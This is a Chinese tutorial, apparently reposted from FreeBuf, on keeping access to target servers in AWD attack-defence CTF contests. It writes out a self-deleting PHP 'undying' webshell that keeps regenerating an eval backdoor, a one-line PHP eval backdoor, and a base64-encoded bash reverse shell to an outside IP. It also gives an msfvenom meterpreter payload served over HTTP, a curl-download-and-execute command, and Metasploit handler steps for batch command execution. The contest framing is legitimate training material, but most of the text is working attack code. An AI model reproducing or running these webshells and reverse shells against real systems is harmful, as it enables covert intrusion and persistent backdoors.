AWD的权限维持

攻防兼备AWD模式是一种综合考核参赛团队攻击、防御技术能力、即时策略的比赛模式。在攻防模式中,参赛队伍分别防守同样配置的虚拟靶机,并在有限的博弈时间内,找到其他战队的薄弱环节进行攻击,同时要对自己的靶机环境进行加固防守。

在AWD需要权限维持,但通常情况下,我们使用不死马来维持权限:

<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
unlink(__FILE__);     //删除自身
while(1)
{
    file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>');  //创建shell.php
    sleep(0);    //间隔时间
}
?> 

上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php

但是这样有一些问题

防守方只要创建一个与不死马一样名字的文件夹即可终止不死马的创建

rm -rf shell.php && mkdir shell.php 

并且若是对方安装日志记录等文件,对方对方便可获得你使用的shell地址和密码,反过来将这个shell利用在其他的机器上,俗称上车。

红队权限维持

在红蓝对抗模拟中,权限维持是指攻击方(红队)取得某些有限的访问权限或者获得某些信息后,需要继续保持这些权限的过程。因此,权限维持是在这种情况下必要的,以确保攻击方能够在之后的攻击行动中使用这些权限或信息。

在红队权限维持的时候,我们通常使用后渗透工具Metasploit、Cobalt Strike等。由于AWD通常使用Linux,而Metasploit对windows和linux的兼容性都较好。这篇文章使用Metasploit来进行演示。

由于Metasploit工具有进程迁移,提权等操作,被入侵的服务器一般不容易发现自己已被入侵。这在AWD中刚好合适,并且可以使用Metasploit批量来获取FLAG。在实战中,即使站点文件全部被删除,站点已关闭,Metasploit的进程是依然存在的,这样就导致别的攻击方因为站点不存在无法攻击得分,而我们的进程依然存在从而得分,拉开比分的差距。

环境介绍

docker:https://github.com/Cl0udG0d/AWDDocker

使用了其中的Web1来进行演示

预设后门为:http://localhost:8000/?springbird=phpinfo();

docker build -t test/awd:v1.0 . 

拿到主机权限

进行权限维持的第一步是拥有主机的权限

#index.php
<?php
    echo "hi!This is SpringBird";
    @eval($_REQUEST['springbird']);
?> 

可以看到这个是最简单的一句话后门,刚好适合我们来演示

连接蚁剑
image

在服务器上开启一个nc监听

nc -lvp 1256 

反弹shell

bash -c '{echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvMTI1NiAwPiYx}|{base64,-d}|{bash,-i}' 

image

接收到shell

image

使用Metasploit进行权限维持

使用Metasploit生成后门文件

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=你的IP LPORT=8887 -f elf > mshell.elf 

之后启动一个python的http服务以供下载

python2 -m SimpleHTTPServer 

启动监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 123.123.123.123
set LPORT 8887
run 

之后在刚才拿到权限的服务器下载该恶意文件。

curl -O http://123.123.123.123:8000/mshell.elf && chmod +x ./mshell.elf && ./mshell.elf& 

image

可以看到该主机已经上线。

我们多上线几台服务器来模拟AWD环境

image

之后我们可以用sessions -c "cat /home/flag"来批量获取flag

image

最后,我们把一句话后门删除,权限依然存在。

总结一下用Metasploit进行AWD的权限维持批量获取flag更加方便,也更加稳定。

本文作者:Skyxmao, 转自FreeBuf